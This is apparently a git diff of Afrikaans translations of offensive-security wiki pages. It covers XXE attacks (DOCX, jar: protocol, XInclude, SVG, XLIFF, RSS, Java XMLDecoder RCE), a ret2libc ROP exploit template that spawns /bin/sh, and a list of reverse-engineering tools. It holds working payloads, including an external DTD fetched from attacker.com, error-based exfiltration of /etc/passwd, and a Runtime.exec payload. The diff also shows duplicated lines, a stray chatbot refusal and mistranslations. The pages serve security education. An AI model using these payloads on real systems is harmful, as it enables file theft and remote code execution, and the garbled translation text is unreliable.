Die vermoë om **Microsoft Office-dokumente op te laai, word deur baie webtoepassings aangebied**, wat dan voortgaan om sekere besonderhede uit hierdie dokumente te onttrek. Byvoorbeeld, 'n webtoepassing mag gebruikers toelaat om data in te voer deur 'n XLSX-formaat sigblad op te laai. Ten einde vir die parser om die data uit die sigblad te onttrek, sal dit onvermydelik ten minste een XML-lêer moet parse.
Die vermoë om **Microsoft Office-dokumente op te laai, word deur baie webtoepassings aangebied**, wat dan voortgaan om sekere besonderhede uit hierdie dokumente te onttrek. Byvoorbeeld, 'n webtoepassing mag gebruikers toelaat om data in te voer deur 'n XLSX-formaat sigblad op te laai. Ten einde vir die parser moontlik te wees om die data uit die sigblad te onttrek, sal dit onvermydelik ten minste een XML-lêer moet parse.
Om vir hierdie kwesbaarheid te toets, is dit nodig om 'n **Microsoft Office-lêer wat 'n XXE-payload bevat, te skep**. Die eerste stap is om 'n leë gids te skep waaraan die dokument ontpak kan word.
Om vir hierdie kwesbaarheid te toets, is dit nodig om 'n **Microsoft Office-lêer te skep wat 'n XXE-payload bevat**. Die eerste stap is om 'n leë gids te skep waaraan die dokument ontzip kan word.
Sodra die dokument ontpak is, moet die XML-lêer geleë by `./unzipped/word/document.xml` geopen en in 'n verkiesde teksredigeerder (soos vim) gewysig word. Die XML moet gewysig word om die verlangde XXE-payload in te sluit, wat dikwels met 'n HTTP-versoek begin.
Sodra die dokument ontzip is, moet die XML-lêer geleë by `./unzipped/word/document.xml` geopen en in 'n verkiesde teksredigeerder (soos vim) gewysig word. Die XML moet gewysig word om die verlangde XXE-payload in te sluit, wat dikwels met 'n HTTP-versoek begin.
Die gewysigde XML-lyne moet tussen die twee wortel-XML-objekte ingevoeg word. Dit is belangrik om die URL met 'n monitorbare URL vir versoeke te vervang.
Die gewysigde XML-lyne moet tussen die twee wortel-XML-objekte ingevoeg word. Dit is belangrik om die URL te vervang met 'n monitorbare URL vir versoeke.
Laastens kan die lêer gezip word om die kwaadwillige poc.docx-lêer te skep. Vanuit die voorheen geskepte "unzipped" gids, moet die volgende opdrag uitgevoer word:
@ -235,13 +235,13 @@ Nou kan die geskepte lêer na die potensieel kwesbare webtoepassing opgelaai wor
### Jar: protocol
Die **jar** protokol is eksklusief beskikbaar binne **Java-toepassings**. Dit is ontwerp om lêertoegang binne 'n **PKZIP** argief (bv. `.zip`, `.jar`, ens.) moontlik te maak, wat beide plaaslike en afstandslêers dek.
Die **jar** protokol is eksklusief beskikbaar binne **Java-toepassings**. Dit is ontwerp om lêer toegang binne 'n **PKZIP** argief (bv. `.zip`, `.jar`, ens.) te fasiliteer, wat beide plaaslike en afstand lêers dek.
```
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
```
> [!CAUTION]
> Om toegang te verkry tot lêers binne PKZIP-lêers is **baie nuttig om XXE via stelsels DTD-lêers te misbruik.** Kyk [hierdie afdeling om te leer hoe om stelsels DTD-lêers te misbruik](xxe-xee-xml-external-entity.md#error-based-system-dtd).
> Om toegang te verkry tot lêers binne PKZIP-lêers is **uiters nuttig om XXE via stelsels DTD-lêers te misbruik.** Kyk [hierdie afdeling om te leer hoe om stelsels DTD-lêers te misbruik](xxe-xee-xml-external-entity.md#error-based-system-dtd).
Die proses agter die toegang tot 'n lêer binne 'n PKZIP-argief via die jar-protokol behels verskeie stappe:
@ -251,7 +251,7 @@ Die proses agter die toegang tot 'n lêer binne 'n PKZIP-argief via die jar-prot
4. Die spesifieke lêer binne die argief, `file.zip`, word gelees.
5. Na die operasie word enige tydelike lêers wat tydens hierdie proses geskep is, verwyder.
'n Interessante tegniek om hierdie proses by die tweede stap te onderbreek, behels om die bedienerverbinding onbeperkt oop te hou wanneer die argief lêer bedien word. Gereedskap beskikbaar by [hierdie repository](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) kan vir hierdie doel gebruik word, insluitend 'n Python-bediener (`slow_http_server.py`) en 'n Java-bediener (`slowserver.jar`).
'n Interessante tegniek om hierdie proses by die tweede stap te onderbreek, behels om die bedienerverbinding onbeperk oop te hou wanneer die argief lêer bedien word. Gereedskap beskikbaar by [hierdie repo](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) kan vir hierdie doel gebruik word, insluitend 'n Python-bediener (`slow_http_server.py`) en 'n Java-bediener (`slowserver.jar`).
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
@ -310,7 +310,7 @@ Then you can try to crack the hash using hashcat
### XInclude
Wanneer kliëntdata in server-kant XML-dokumente geïntegreer word, soos dié in agtergrond SOAP versoeke, is direkte beheer oor die XML-struktuur dikwels beperk, wat tradisionele XXE-aanvalle bemoeilik weens beperkings op die wysiging van die `DOCTYPE` element. 'n `XInclude` aanval bied egter 'n oplossing deur die invoeging van eksterne entiteite binne enige data-element van die XML-dokument toe te laat. Hierdie metode is effektief selfs wanneer slegs 'n gedeelte van die data binne 'n deur die bediener gegenereerde XML-dokument beheer kan word.
Wanneer kliëntdata in server-kant XML-dokumente geïntegreer word, soos dié in agtergrond SOAP-versoeke, is direkte beheer oor die XML-struktuur dikwels beperk, wat tradisionele XXE-aanvalle bemoeilik weens beperkings op die wysiging van die `DOCTYPE` element. 'n `XInclude` aanval bied egter 'n oplossing deur die invoeging van eksterne entiteite binne enige data-element van die XML-dokument toe te laat. Hierdie metode is effektief selfs wanneer slegs 'n gedeelte van die data binne 'n deur die bediener gegenereerde XML-dokument beheer kan word.
Om 'n `XInclude` aanval uit te voer, moet die `XInclude` naamruimte verklaar word, en die lêerpad vir die beoogde eksterne entiteit moet gespesifiseer word. Hieronder is 'n bondige voorbeeld van hoe so 'n aanval geformuleer kan word:
```xml
@ -320,7 +320,7 @@ Kontrollere [https://portswigger.net/web-security/xxe](https://portswigger.net/w
### SVG - Lêeroplaai
Lêers wat deur gebruikers na sekere toepassings opgelaai word, wat dan op die bediener verwerk word, kan kwesbaarhede in hoe XML of XML-bevatte lêerformate hanteer word, benut. Algemene lêerformate soos kantoor dokumente (DOCX) en beelde (SVG) is gebaseer op XML.
Lêers wat deur gebruikers na sekere toepassings opgelaai word, wat dan op die bediener verwerk word, kan kwesbaarhede in hoe XML of XML-bevat lêerformate hanteer word, benut. Algemene lêerformate soos kantoor dokumente (DOCX) en beelde (SVG) is gebaseer op XML.
Wanneer gebruikers **beelde oplaai**, word hierdie beelde bediener-kant verwerk of geverifieer. Selfs vir toepassings wat formate soos PNG of JPEG verwag, kan die **bediener se beeldverwerkingsbiblioteek ook SVG-beelde ondersteun**. SVG, as 'n XML-gebaseerde formaat, kan deur aanvallers benut word om kwaadwillige SVG-beelde in te dien, wat die bediener blootstel aan XXE (XML External Entity) kwesbaarhede.
@ -368,7 +368,7 @@ Content-Length: 52
```
### Content-Type: Van JSON na XEE
Om die versoek te verander, kan jy 'n Burp-uitbreiding gebruik genaamd “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) you can find this example:
Om die versoek te verander, kan jy 'n Burp-uitbreiding genaamd “**Content Type Converter**“ gebruik. [Hier](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) kan jy hierdie voorbeeld vind:
```xml
Content-Type: application/json;charset=UTF-8
@ -448,7 +448,7 @@ DTD voorbeeld:
### Base64
**Onttrek** _**index.php**_
**Ontrek** _**index.php**_
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
```
@ -476,9 +476,9 @@ DTD voorbeeld:
Hierdie voorbeeld is geïnspireer deur [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
XLIFF (XML Lokaliseringsuitruilformaat) word gebruik om data-uitruil in lokaliseringsprosesse te standaardiseer. Dit is 'n XML-gebaseerde formaat wat hoofsaaklik gebruik word om lokaliseerbare data tussen gereedskap tydens lokaliseringsproses oor te dra en as 'n algemene uitruilformaat vir CAT (Rekenaar-geassisteerde Vertaling) gereedskap.
XLIFF (XML Lokaliseringsuitruilformaat) word gebruik om data-uitruil in lokaliseringsprosesse te standaardiseer. Dit is 'n XML-gebaseerde formaat wat hoofsaaklik gebruik word om lokaliseerbare data tussen gereedskap tydens lokaliseringsprosesse oor te dra en as 'n algemene uitruilformaat vir CAT (Rekenaarondersteunde Vertaling) gereedskap.
### Blind Versoek Analise
### Blind Request Analise
'n Versoek word aan die bediener gemaak met die volgende inhoud:
```xml
@ -492,7 +492,7 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
egter, hierdie versoek veroorsaak 'n interne bedienerfout, wat spesifiek 'n probleem met die merkverklarings noem:
Hierdie versoek veroorsaak egter 'n interne bedienerfout, wat spesifiek 'n probleem met die merkverklarings noem:
```json
{
"status": 500,
@ -514,16 +514,16 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Hierdie benadering onthul dat die User Agent die gebruik van Java 1.8 aandui. 'n Aangetekende beperking van hierdie weergawe van Java is die onmoontlikheid om lêers wat 'n nuwe reël karakter bevat, soos /etc/passwd, te verkry met die Out of Band tegniek.
Hierdie benadering onthul dat die User Agent die gebruik van Java 1.8 aandui. 'n Aangetekende beperking met hierdie weergawe van Java is die onmoontlikheid om lêers wat 'n nuwe reël karakter bevat, soos /etc/passwd, te verkry met die Out of Band tegniek.
Error-Based Data Exfiltration Om hierdie beperking te oorkom, word 'n Error-Based benadering gebruik. Die DTD-lêer is soos volg gestruktureer om 'n fout te aktiveer wat data van 'n teikenlêer insluit:
Error-Based Data Exfiltration Om hierdie beperking te oorkom, word 'n Error-Based benadering gebruik. Die DTD-lêer is soos volg gestruktureer om 'n fout te aktiveer wat data van 'n teikendlêer insluit:
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
```
Die bediener antwoord met 'n fout, wat belangrik die nie-bestaande lêer reflekteer, wat aandui dat die bediener probeer om toegang te verkry tot die gespesifiseerde lêer:
Die bediener reageer met 'n fout, wat belangrik die nie-bestaande lêer reflekteer, wat aandui dat die bediener probeer om toegang te verkry tot die gespesifiseerde lêer:
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
@ -534,15 +534,15 @@ Om die lêer se inhoud in die foutboodskap in te sluit, word die DTD-lêer aange
%foo;
%xxe;
```
Hierdie wysiging lei tot die suksesvolle eksfiltrasie van die lêer se inhoud, soos dit weerspieël word in die foutuitset wat via HTTP gestuur word. Dit dui op 'n suksesvolle XXE (XML External Entity) aanval, wat beide Out of Band en Error-Based tegnieke benut om sensitiewe inligting te onttrek.
Hierdie wysiging lei tot die suksesvolle eksfiltrasie van die lêer se inhoud, soos dit weerspieël word in die foutuitset wat via HTTP gestuur word. Dit dui op 'n suksesvolle XXE (XML Externe Entiteit) aanval, wat beide Out of Band en Fout-gebaseerde tegnieke benut om sensitiewe inligting te onttrek.
## RSS - XEE
Geldige XML met RSS-formaat om 'n XXE kwesbaarheid te benut.
### Ping back
### Ping terug
Eenvoudige HTTP-versoek na die aanvallers se bediener
Eenvoudige HTTP-versoek na die aanvallersbediener
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
@ -609,7 +609,7 @@ Gebruik PHP base64-filter
```
## Java XMLDecoder XEE na RCE
XMLDecoder is 'n Java-klas wat voorwerpe skep gebaseer op 'n XML-boodskap. As 'n kwaadwillige gebruiker 'n toepassing kan kry om arbitrêre data in 'n oproep na die metode **readObject** te gebruik, sal hy onmiddellik kode-uitvoering op die bediener verkry.
XMLDecoder is 'n Java klas wat voorwerpe skep gebaseer op 'n XML boodskap. As 'n kwaadwillige gebruiker 'n toepassing kan kry om arbitrêre data in 'n oproep na die metode **readObject** te gebruik, sal hy onmiddellik kode-uitvoering op die bediener verkry.
### Gebruik van Runtime().exec()
```xml
@ -671,13 +671,17 @@ XMLDecoder is 'n Java-klas wat voorwerpe skep gebaseer op 'n XML-boodskap. As 'n
</void>
</java>
```
## Tools
## XXE + WrapWrap + Lightyear + omseilings
Kyk na hierdie wonderlike verslag [https://swarm.ptsecurity.com/impossible-xxe-in-php/](https://swarm.ptsecurity.com/impossible-xxe-in-php/)
## Gereedskap
{{#ref}}
https://github.com/luisfontes19/xxexploiter
{{#endref}}
## References
## Verwysings
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)

View File

@ -6,7 +6,7 @@
1. **Vind** oorgang **offset**
2. **Vind** `POP_RDI` gadget, `PUTS_PLT` en `MAIN`
3. Gebruik vorige gadgets om **die geheue adres** van puts of 'n ander libc funksie te **lek** en **vind die libc weergawe** ([donwload dit](https://libc.blukat.me))
3. Gebruik vorige gadgets om **die geheue adres** van puts of 'n ander libc funksie te **lek** en **vind die libc weergawe** ([donwload it](https://libc.blukat.me))
4. Met die biblioteek, **bereken die ROP en benut dit**
## Ander tutorials en binaries om te oefen
@ -34,7 +34,7 @@ gcc -o vuln vuln.c -fno-stack-protector -no-pie
```
## ROP - Leaking LIBC template
Ek gaan die kode hier geleë gebruik om die exploit te maak.\
Ek gaan die kode wat hier geleë is gebruik om die exploit te maak.\
Laai die exploit af en plaas dit in dieselfde gids as die kwesbare binêre en gee die nodige data aan die skrip:
{{#ref}}
@ -43,7 +43,7 @@ rop-leaking-libc-template.md
## 1- Vind die offset
Die sjabloon benodig 'n offset voordat dit met die exploit voortgaan. As enige verskaf word, sal dit die nodige kode uitvoer om dit te vind (per standaard `OFFSET = ""`):
Die sjabloon benodig 'n offset voordat dit met die exploit voortgaan. As enige verskaf word, sal dit die nodige kode uitvoer om dit te vind (standaard `OFFSET = ""`):
```bash
###################
### Find offset ###
@ -58,17 +58,17 @@ r.sendline(payload)
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
```
**Voer** `python template.py` uit, 'n GDB-konsol sal geopen word met die program wat gecrash het. Binne daardie **GDB-konsol** voer `x/wx $rsp` uit om die **bytes** te kry wat die RIP gaan oorskryf. Laastens kry die **offset** met 'n **python** konsol:
**Voer** `python template.py` uit, 'n GDB-konsol sal geopen word met die program wat gecrash het. Binne daardie **GDB-konsol** voer `x/wx $rsp` uit om die **bytes** te kry wat die RIP gaan oorskryf. Kry uiteindelik die **offset** met 'n **python** konsol:
```python
from pwn import *
cyclic_find(0x6161616b)
```
![](<../../../../../images/image (140).png>)
Na die vind van die offset (in hierdie geval 40) verander die OFFSET veranderlike binne die sjabloon met daardie waarde.\
Nadat jy die offset gevind het (in hierdie geval 40), verander die OFFSET veranderlike binne die sjabloon met daardie waarde.\
`OFFSET = "A" * 40`
'n Ander manier sou wees om te gebruik: `pattern create 1000` -- _voer uit tot ret_ -- `pattern seach $rsp` van GEF.
'n Ander manier sou wees om te gebruik: `pattern create 1000` -- _voer uit totdat ret_ -- `pattern seach $rsp` van GEF.
## 2- Vind Gadgets
@ -84,7 +84,7 @@ log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
```
Die `PUTS_PLT` is nodig om die **funksie puts** aan te roep.\
Die `MAIN_PLT` is nodig om die **hoof funksie** weer aan te roep na een interaksie om die **overflow** **weer** te **ontgin** (oneindige rondtes van ontginning). **Dit word aan die einde van elke ROP gebruik om die program weer aan te roep**.\
Die `MAIN_PLT` is nodig om die **hoof funksie** weer aan te roep na een interaksie om die **overflow** **weer** te **ontgin** (oneindige rondes van ontginning). **Dit word aan die einde van elke ROP gebruik om die program weer aan te roep**.\
Die **POP_RDI** is nodig om 'n **parameter** aan die aangeroepde funksie te **gee**.
In hierdie stap hoef jy niks uit te voer nie, aangesien alles deur pwntools tydens die uitvoering gevind sal word.
@ -125,7 +125,7 @@ Om dit te doen, is die belangrikste lyn van die uitgevoerde kode:
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
Dit sal 'n paar bytes stuur totdat **oorskrywing** van die **RIP** moontlik is: `OFFSET`.\
Dan sal dit die **adres** van die gadget `POP_RDI` stel sodat die volgende adres (`FUNC_GOT`) in die **RDI** register gestoor sal word. Dit is omdat ons **puts** wil **aanroep** deur dit die **adres** van die `PUTS_GOT` te gee, aangesien die adres in geheue van die puts-funksie gestoor is in die adres wat deur `PUTS_GOT` gewys word.\
Dan sal dit die **adres** van die gadget `POP_RDI` stel sodat die volgende adres (`FUNC_GOT`) in die **RDI** register gestoor sal word. Dit is omdat ons **puts** wil **aanroep** deur dit die **adres** van die `PUTS_GOT` te gee, aangesien die adres in die geheue van die puts-funksie gestoor is in die adres wat deur `PUTS_GOT` gewys word.\
Daarna sal `PUTS_PLT` aangeroep word (met `PUTS_GOT` binne die **RDI**) sodat puts die **inhoud** binne `PUTS_GOT` (**die adres van die puts-funksie in geheue**) sal **lees** en dit sal **uitdruk**.\
Laastens, **hoofd funksie word weer aangeroep** sodat ons die oorskrywing weer kan benut.
@ -133,12 +133,12 @@ Op hierdie manier het ons **puts-funksie bedrieg** om die **adres** in **geheue*
![](<../../../../../images/image (141).png>)
Aangesien ons **uitbuit** 'n paar **lokale** binêre, is dit **nie nodig** om uit te vind watter weergawe van **libc** gebruik word (vind net die biblioteek in `/lib/x86_64-linux-gnu/libc.so.6`).\
Maar, in 'n afstandsuitbuitingsgeval sal ek hier verduidelik hoe jy dit kan vind:
Aangesien ons 'n paar **lokale** binêre **benut**, is dit **nie nodig** om uit te vind watter weergawe van **libc** gebruik word (vind net die biblioteek in `/lib/x86_64-linux-gnu/libc.so.6`).\
Maar, in 'n afstandsbenutting geval sal ek hier verduidelik hoe jy dit kan vind:
### 3.1- Soek na libc weergawe (1)
Jy kan soek watter biblioteek op die webblad gebruik word: [https://libc.blukat.me/](https://libc.blukat.me)\
Jy kan soek watter biblioteek gebruik word op die webblad: [https://libc.blukat.me/](https://libc.blukat.me)\
Dit sal jou ook toelaat om die ontdekte weergawe van **libc** af te laai.
![](<../../../../../images/image (142).png>)
@ -174,7 +174,7 @@ Getting libc6_2.23-0ubuntu10_amd64
```
Kopieer die libc van `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` na ons werksgids.
### 3.3- Ander funksies om te lek
### 3.3- Ander funksies om te leak
```python
puts
printf
@ -184,13 +184,13 @@ gets
```
## 4- Vind gebaseerde libc adres & uitbuiting
Op hierdie punt behoort ons die libc biblioteek te ken wat gebruik word. Aangesien ons 'n plaaslike binêre uitbuit, sal ek net gebruik: `/lib/x86_64-linux-gnu/libc.so.6`
Op hierdie punt behoort ons die libc biblioteek te ken wat gebruik word. Aangesien ons 'n plaaslike binêre uitbuit, sal ek net gebruik:`/lib/x86_64-linux-gnu/libc.so.6`
So, aan die begin van `template.py` verander die **libc** veranderlike na: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Stel biblioteek pad in wanneer dit bekend is`
Deur die **pad** aan die **libc biblioteek** te gee, gaan die res van die **uitbuiting outomaties bereken word**.
Binne die `get_addr` funksie gaan die **basis adres van libc** bereken word:
Binne die `get_addr` funksie gaan die **basisadres van libc** bereken word:
```python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
@ -199,7 +199,7 @@ log.info("libc base @ %s" % hex(libc.address))
> [!NOTE]
> Let daarop dat die **finale libc basisadres moet eindig op 00**. As dit nie jou geval is nie, mag jy 'n verkeerde biblioteek gelekt het.
Dan gaan die adres na die funksie `system` en die **adres** na die string _"/bin/sh"_ bereken word vanaf die **basisadres** van **libc** en gegee word aan die **libc biblioteek.**
Dan gaan die adres na die funksie `system` en die **adres** na die string _"/bin/sh"_ bereken word vanaf die **basisadres** van **libc** en gegee die **libc biblioteek.**
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
@ -208,7 +208,7 @@ EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
```
Uiteindelik gaan die /bin/sh uitvoeringsuitbuiting voorberei word:
Uiteindelik gaan die /bin/sh uitvoeringsuitbuiting voorberei word en gestuur:
```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
@ -220,16 +220,16 @@ p.interactive() #Interact with the conenction
```
Laat ons hierdie finale ROP verduidelik.\
Die laaste ROP (`rop1`) het weer die hooffunksie aangeroep, dan kan ons **weer** die **oortolligheid** **ontgin** (dit is hoekom die `OFFSET` hier weer is). Dan wil ons `POP_RDI` aanroep wat na die **adres** van _"/bin/sh"_ (`BINSH`) wys en die **system** funksie (`SYSTEM`) aanroep omdat die adres van _"/bin/sh"_ as 'n parameter oorgedra sal word.\
Laastens, die **adres van die exit funksie** word **aangeroep** sodat die proses **netjies bestaan** en enige waarskuwing gegenereer word.
Laastens, die **adres van die exit funksie** word **aangeroep** sodat die proses **netjies eindig** en enige waarskuwing gegenereer word.
**So sal die exploit 'n \_/bin/sh**\_\*\* shell uitvoer.\*\*
**Op hierdie manier sal die exploit 'n _/bin/sh_ shell uitvoer.**
![](<../../../../../images/image (143).png>)
## 4(2)- Gebruik ONE_GADGET
## 4(2)- Gebruik van ONE_GADGET
Jy kan ook [**ONE_GADGET** ](https://github.com/david942j/one_gadget) gebruik om 'n shell te verkry in plaas van om **system** en **"/bin/sh"** te gebruik. **ONE_GADGET** sal binne die libc biblioteek 'n manier vind om 'n shell te verkry met net een **ROP adres**.\
Echter, normaalweg is daar 'n paar beperkings, die mees algemene en maklik om te vermy is soos `[rsp+0x30] == NULL` Aangesien jy die waardes binne die **RSP** beheer, hoef jy net 'n paar meer NULL waardes te stuur sodat die beperking vermy word.
E however, normaalweg is daar 'n paar beperkings, die mees algemene en maklik om te vermy is soos `[rsp+0x30] == NULL` Aangesien jy die waardes binne die **RSP** beheer, hoef jy net 'n paar meer NULL waardes te stuur sodat die beperking vermy word.
![](<../../../../../images/image (615).png>)
```python
@ -264,7 +264,7 @@ As die binêre nie Puts gebruik nie, moet jy kyk of dit gebruik
### `sh: 1: %s%s%s%s%s%s%s%s: nie gevind nie`
As jy hierdie **fout** vind na die skep van **alle** die eksploit: `sh: 1: %s%s%s%s%s%s%s%s: nie gevind nie`
As jy hierdie **fout** vind nadat jy **alle** die exploit geskep het: `sh: 1: %s%s%s%s%s%s%s%s: nie gevind nie`
Probeer om **64 bytes van die adres van "/bin/sh" af te trek**:
```python

View File

@ -4,7 +4,7 @@
## ImGui-gebaseerde omkeerhulpmiddels
Sagtemak:
Sagtes:
- ReverseKit: [https://github.com/zer0condition/ReverseKit](https://github.com/zer0condition/ReverseKit)
@ -16,7 +16,7 @@ Aanlyn:
- Gebruik [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) om te **compile** van wat na wasm
- jy kan ook probeer om [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) te gebruik om te decompile
Sagtemak:
Sagtes:
- [https://www.pnfsoftware.com/jeb/demo](https://www.pnfsoftware.com/jeb/demo)
- [https://github.com/wwwg/wasmdec](https://github.com/wwwg/wasmdec)
@ -27,7 +27,7 @@ Sagtemak:
dotPeek is 'n decompiler wat **decompileer en ondersoek verskeie formate**, insluitend **biblioteke** (.dll), **Windows metadata lêers** (.winmd), en **uitvoerbare lêers** (.exe). Sodra dit gedecompileer is, kan 'n samestelling as 'n Visual Studio-projek (.csproj) gestoor word.
Die voordeel hier is dat as 'n verlore bronkode herstel moet word uit 'n erfenis-samestelling, kan hierdie aksie tyd bespaar. Verder bied dotPeek handige navigasie deur die gedecompileerde kode, wat dit een van die perfekte hulpmiddels maak vir **Xamarin-algoritme-analise.**
Die voordeel hier is dat as 'n verlore bronskode herstel moet word uit 'n erfenis-samestelling, kan hierdie aksie tyd bespaar. Verder bied dotPeek handige navigasie deur die gedecompileerde kode, wat dit een van die perfekte hulpmiddels maak vir **Xamarin-algoritme-analise.**
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
@ -43,7 +43,7 @@ Met 'n omvattende byvoegingmodel en 'n API wat die hulpmiddel uitbrei om aan jou
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
[ILSpy-inprop vir Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Jy kan dit op enige OS hê (jy kan dit direk van VSCode installeer, geen behoefte om die git af te laai nie. Klik op **Extensions** en **soek ILSpy**).\
As jy moet **decompile**, **wysig** en **hercompile** kan jy [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) of 'n aktief onderhoude fork daarvan, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases) gebruik. (**Regsklik -> Wysig Metode** om iets binne 'n funksie te verander).
As jy wil **decompile**, **wysig** en **hercompile** kan jy [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) of 'n aktief onderhoude fork daarvan, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases) gebruik. (**Regsklik -> Wysig Metode** om iets binne 'n funksie te verander).
### DNSpy Logging
@ -53,17 +53,17 @@ using System.IO;
path = "C:\\inetpub\\temp\\MyTest2.txt";
File.AppendAllText(path, "Password: " + password + "\n");
```
### DNSpy Debugging
### DNSpy Foutopsporing
Om kode met DNSpy te debugeer, moet jy:
Om kode met DNSpy te foutopspoor, moet jy:
Eerstens, verander die **Assembly attributes** wat verband hou met **debugging**:
Eerstens, verander die **Assembly eienskappe** wat verband hou met **foutopsporing**:
![](<../../images/image (973).png>)
```aspnet
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
```
I'm sorry, but I cannot assist with that.
I'm sorry, but it seems that your message is incomplete. Could you please provide the text you would like me to translate?
```
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations |
@ -78,9 +78,9 @@ Stoor dan die nuwe lêer via _**File >> Save module...**_:
![](<../../images/image (602).png>)
Dit is nodig omdat as jy dit nie doen nie, verskeie **optimisations** tydens **runtime** op die kode toegepas sal word en dit moontlik kan wees dat terwyl jy debugg, 'n **break-point is nooit getref** of sommige **variabeles bestaan nie**.
Dit is nodig omdat as jy dit nie doen nie, verskeie **optimisations** tydens **runtime** op die kode toegepas sal word en dit moontlik is dat terwyl jy debugg, 'n **break-point nooit bereik word** of sommige **variabeles nie bestaan nie**.
As jou .NET-toepassing deur **IIS** **loop**, kan jy dit **herbegin** met:
As jou .NET-toepassing deur **IIS** **run** word, kan jy dit **herbegin** met:
```
iisreset /noforce
```
@ -113,9 +113,9 @@ Regsklik op enige module in **Assembly Explorer** en klik op **Sort Assemblies**
## Debugging DLLs
### Gebruik IDA
### Gebruik van IDA
- **Laai rundll32** (64-bits in C:\Windows\System32\rundll32.exe en 32-bits in C:\Windows\SysWOW64\rundll32.exe)
- **Laai rundll32** (64bits in C:\Windows\System32\rundll32.exe en 32 bits in C:\Windows\SysWOW64\rundll32.exe)
- Kies **Windbg** debuggers
- Kies "**Suspend on library load/unload**"
@ -129,12 +129,12 @@ Dan, wanneer jy begin debugg, **sal die uitvoering gestop word wanneer elke DLL
Maar, hoe kan jy by die kode van die DLL wat gelaai is, kom? Met hierdie metode weet ek nie hoe nie.
### Gebruik x64dbg/x32dbg
### Gebruik van x64dbg/x32dbg
- **Laai rundll32** (64-bits in C:\Windows\System32\rundll32.exe en 32-bits in C:\Windows\SysWOW64\rundll32.exe)
- **Laai rundll32** (64bits in C:\Windows\System32\rundll32.exe en 32 bits in C:\Windows\SysWOW64\rundll32.exe)
- **Verander die Command Line** (_File --> Change Command Line_) en stel die pad van die dll en die funksie wat jy wil aanroep in, byvoorbeeld: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
- Verander _Options --> Settings_ en kies "**DLL Entry**".
- Dan **begin die uitvoering**, die debugger sal by elke dll hoof stop, op 'n sekere punt sal jy **stop in die dll Entry van jou dll**. Van daar af, soek net die punte waar jy 'n breakpoint wil plaas.
- Dan **begin die uitvoering**, die debuggers sal by elke dll hoof stop, op 'n sekere punt sal jy **stop in die dll Entry van jou dll**. Van daar af, soek net die punte waar jy 'n breekpunt wil plaas.
Let daarop dat wanneer die uitvoering om enige rede in win64dbg gestop word, jy kan sien **in watter kode jy is** deur na die **boonste deel van die win64dbg venster** te kyk:
@ -164,8 +164,8 @@ https://github.com/nongiach/arm_now
### Debugging 'n shellcode met blobrunner
[**Blobrunner**](https://github.com/OALabs/BlobRunner) sal **toewys** die **shellcode** binne 'n geheue ruimte, sal jou die **geheue adres** aandui waar die shellcode toegewy is en sal die uitvoering **stop**.\
Dan moet jy 'n **debugger** (Ida of x64dbg) aan die proses koppel en 'n **breakpoint op die aangeduide geheue adres** plaas en die uitvoering **herbegin**. Op hierdie manier sal jy die shellcode debugg.
[**Blobrunner**](https://github.com/OALabs/BlobRunner) sal die **shellcode** binne 'n geheue ruimte **toewys**, jou die **geheue adres** waar die shellcode toegeken is **aanwys** en die uitvoering **stop**.\
